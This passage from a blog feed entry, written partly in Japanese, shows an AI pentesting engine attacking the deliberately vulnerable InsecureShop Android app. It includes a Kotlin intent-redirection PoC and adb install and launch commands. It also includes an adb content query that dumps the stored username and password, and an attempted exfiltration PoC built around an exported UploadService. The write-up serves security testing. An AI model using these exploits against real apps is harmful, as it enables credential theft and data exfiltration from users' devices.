&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;maliciousIntent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;maliciousIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;component&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ComponentName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.PrivateActivity"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;wrapperIntent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;wrapperIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;component&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ComponentName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.WebView2Activity"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;wrapperIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.action.WEBVIEW"&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;wrapperIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"extra_intent"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;maliciousIntent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wrapperIntent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Tool name: &lt;em&gt;adb&lt;/em&gt;&lt;br/&gt;
Args:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;install&lt;span class="w"&gt; &lt;/span&gt;/REDACTED/pentestingApp-debug.apk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Output:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;Performing&lt;span class="w"&gt; &lt;/span&gt;Streamed&lt;span class="w"&gt; &lt;/span&gt;Install
&lt;span class="w"&gt;    &lt;/span&gt;Success
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Step2: &lt;code&gt;Launch PoC and Observe&lt;/code&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;Tool name: &lt;em&gt;adb&lt;/em&gt;&lt;br/&gt;
Args:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;shell&lt;span class="w"&gt; &lt;/span&gt;am&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;com.example.pentestingapp/.MainActivity
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Output:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Starting:&lt;span class="w"&gt; &lt;/span&gt;Intent&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;com.example.pentestingapp/.MainActivity&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Tool name: &lt;em&gt;run_take_screenshot&lt;/em&gt;&lt;br/&gt;
Output: &lt;em&gt;Successfully captured 1 screenshots.&lt;/em&gt;&lt;br/&gt;
&lt;figure&gt;&lt;img alt="空白のWebView" class="img-fluid" src="https://blog.ostorlab.co/static/img/2025_08_29_intent_redirection_ai_poc/blank_webview.png" title="空白のWebView"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;空白のWebView&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="検出結果3:insecureshopproviderを介した認証情報の漏えい"&gt;検出結果3：InsecureShopProviderを介した認証情報の漏えい&lt;/h3&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;Having found significant vulnerabilities in two exported activities, have we gathered enough information to understand the application's primary weaknesses, or would a more thorough investigation into other exported components, such as the &lt;code&gt;InsecureShopProvider&lt;/code&gt; content provider, yield a more complete picture of the overall security posture?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;AIは、&lt;code&gt;normal&lt;/code&gt;レベルの権限で保護された、エクスポートされたコンテンツプロバイダーを特定しました。これは、あらゆるアプリがそれをクエリできることを示唆しています。&lt;code&gt;InsecureShopProvider.java&lt;/code&gt;の静的解析は、それが保存されたユーザーの認証情報を返すことを示しました。  &lt;/p&gt;
&lt;div class="output"&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="output"&gt;
&lt;p&gt;An exported content provider, &lt;code&gt;com.insecureshop.contentProvider.InsecureShopProvider&lt;/code&gt;, was identified as a potential information leak. The provider is protected by the &lt;code&gt;com.insecureshop.permission.READ&lt;/code&gt; permission. However, the permission is defined without a &lt;code&gt;protectionLevel&lt;/code&gt;, which defaults to &lt;code&gt;normal&lt;/code&gt;, meaning any app can be granted this permission upon installation without user interaction. The provider's source code suggested that it queries and returns user credentials stored in &lt;code&gt;SharedPreferences&lt;/code&gt;.  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Evidence from Manifest:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;provider&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.contentProvider.InsecureShopProvider"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;android:readPermission=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.permission.READ"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;android:authorities=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.provider"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;permission&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.permission.READ"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;InsecureShopProvider.java&lt;/code&gt; code shows that the &lt;code&gt;query&lt;/code&gt; method returns a cursor containing the username and password stored in the application's shared preferences, ignoring any selection criteria.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// android.content.ContentProvider&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Cursor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;projection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;selection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;selectionArgs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sortOrder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Intrinsics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;checkParameterIsNotNull&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"uri"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UriMatcher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uriMatcher2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uriMatcher&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uriMatcher2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uriMatcher2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;MatrixCursor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MatrixCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strArr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Prefs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INSTANCE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getUsername&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Intrinsics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;throwNpe&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;strArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Prefs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INSTANCE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPassword&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Intrinsics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;throwNpe&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;strArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addRow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strArr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Step1: &lt;code&gt;Query Content Provider&lt;/code&gt;:&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;Tool name: &lt;em&gt;adb&lt;/em&gt;&lt;br/&gt;
Args:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;shell&lt;span class="w"&gt; &lt;/span&gt;content&lt;span class="w"&gt; &lt;/span&gt;query&lt;span class="w"&gt; &lt;/span&gt;--uri&lt;span class="w"&gt; &lt;/span&gt;content://com.insecureshop.provider/insecure
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Step2: &lt;code&gt;Analyze Output&lt;/code&gt;:&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;The command returned values for the username and password fields.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Row:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;shopuser,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;!ns3csh0p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="さらに踏み込む"&gt;さらに踏み込む&lt;/h2&gt;
&lt;h3 id="uploadserviceを介した不正なファイルの持ち出し"&gt;&lt;code&gt;UploadService&lt;/code&gt;を介した不正なファイルの持ち出し&lt;/h3&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;Analyze the exported service &lt;code&gt;net.gotev.uploadservice.UploadService&lt;/code&gt;. Review its source code to understand how it can be triggered and what parameters it accepts. The goal is to determine if a malicious application can craft an intent to start this service and force it to upload arbitrary local files from the device's storage.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;最後に、エンジンは、悪意のあるアプリによってトリガーされ、プライベートなファイルを持ち出すために悪用されうる、エクスポートされたアップロードサービスを特定しました。悪用を成功させるには、Intentのエクストラとして渡す&lt;code&gt;Parcelable&lt;/code&gt;オブジェクトを作成する必要がありました。&lt;/p&gt;
&lt;p&gt;AIは、この目的のためにPoCアプリケーションの構築を試みました。しかし、利用可能なツールは、必要なオブジェクトを構築するのに要するサードパーティライブラリ（&lt;code&gt;net.gotev:android-upload-service&lt;/code&gt;）の取り込みをサポートしていませんでした。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="output"&gt;
&lt;p&gt;The &lt;code&gt;net.gotev.uploadservice.UploadService&lt;/code&gt; is declared in the &lt;code&gt;AndroidManifest.xml&lt;/code&gt; with &lt;code&gt;android:exported="true"&lt;/code&gt;, making it accessible to any application on the device.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"net.gotev.uploadservice.UploadService"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:enabled=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;UploadService&lt;/code&gt; is designed to handle file uploads based on parameters passed via an Intent. Specifically, it accepts a &lt;code&gt;taskClass&lt;/code&gt; string and a &lt;code&gt;Parcelable&lt;/code&gt; object called &lt;code&gt;taskParameters&lt;/code&gt;. The service does not perform any validation on the calling app or the parameters within the intent.&lt;/p&gt;
&lt;p&gt;A malicious app can construct an Intent that specifies a valid &lt;code&gt;UploadTask&lt;/code&gt; class (e.g., &lt;code&gt;net.gotev.uploadservice.MultipartUploadTask&lt;/code&gt;) and provides &lt;code&gt;UploadTaskParameters&lt;/code&gt; containing:
1.  An arbitrary server URL controlled by the attacker.
2.  A path to a sensitive file within the InsecureShop app's sandboxed storage (e.g., &lt;code&gt;/data/data/com.insecureshop/shared_prefs/Prefs.xml&lt;/code&gt;, which stores user credentials).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PoC Build Attempt&lt;/code&gt;:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"tool_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"run_build_app"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Without the ability to build the PoC, the vulnerability could not be tested.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion: Inconclusive&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</content><category term="Security"/><category term="security"/><category term="android"/><category term="intent redirection"/><category term="AI"/><category term="POC"/><category term="pentest"/></entry></feed>